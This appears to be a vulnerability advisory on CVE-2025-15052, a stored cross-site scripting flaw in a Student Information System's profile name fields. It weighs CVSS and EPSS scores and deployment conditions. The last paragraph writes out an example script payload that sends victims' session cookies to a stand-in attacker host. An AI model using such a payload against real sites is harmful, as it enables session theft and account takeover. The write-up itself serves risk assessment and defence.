Student Information System CVE-2025-15052

Exploitation requires: (1) Valid authenticated user account (PR:L) on the Student Information System; (2) Access to the /profile.php endpoint with permission to edit firstname or lastname fields; (3) A victim who views the attacker's profile or receives a malicious link to the victim's own profile with injected parameters (UI:P); (4) No Content Security Policy or output encoding protecting against script injection. The attack does NOT require administrative privileges, installation of malware, or system-level access. Exploitation is LIMITED by the authentication requirement (PR:L rules out unauthenticated remote attacks) and user interaction requirement (UI:P means a victim must click a link or voluntarily visit a page). If firstname/lastname fields are not user-editable (e.g., admin-only, auto-populated from LDAP), exploitation is blocked. Default installations with public user registration enabled are more vulnerable than those with restricted account creation.

Despite a low CVSS score of 2.0, multiple factors must be evaluated together. The CVSS:4.0 vector indicates network accessibility (AV:N) but mandates user authentication (PR:L - low privilege required) and user interaction (UI:P), significantly limiting exploitability. The integrity violation is limited (VI:L) rather than high-impact. EPSS assigns only 0.06% exploitation probability (percentile 18%), reflecting very low likelihood of widespread automated exploitation. However, publicly available exploit code exists (POC confirmed), and the attack surface is straightforward (unsanitized input in a common parameter). Real-world risk is LOW for organizations where: (1) user accounts are not widely distributed to untrusted parties, (2) profile editing is infrequently performed, or (3) phishing precedes exploitation. Risk is ELEVATED if (1) public user registration is enabled, (2) student-created accounts have profile editing rights, or (3) the application is deployed in environments with high-value social engineering targets. The gap between POC availability and low EPSS suggests targeted rather than mass exploitation. No conflicting signals detected between CVSS and EPSS - both align on low practical impact.

An authenticated attacker (or social engineer inducing a legitimate user) submits a profile update with a malicious JavaScript payload embedded in the firstname parameter, such as firstname=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>. When the victim or administrator views the attacker's profile, the injected script executes in their browser session, exfiltrating session cookies or performing actions on behalf of the victim. Publicly available POC code on GitHub demonstrates this attack vector.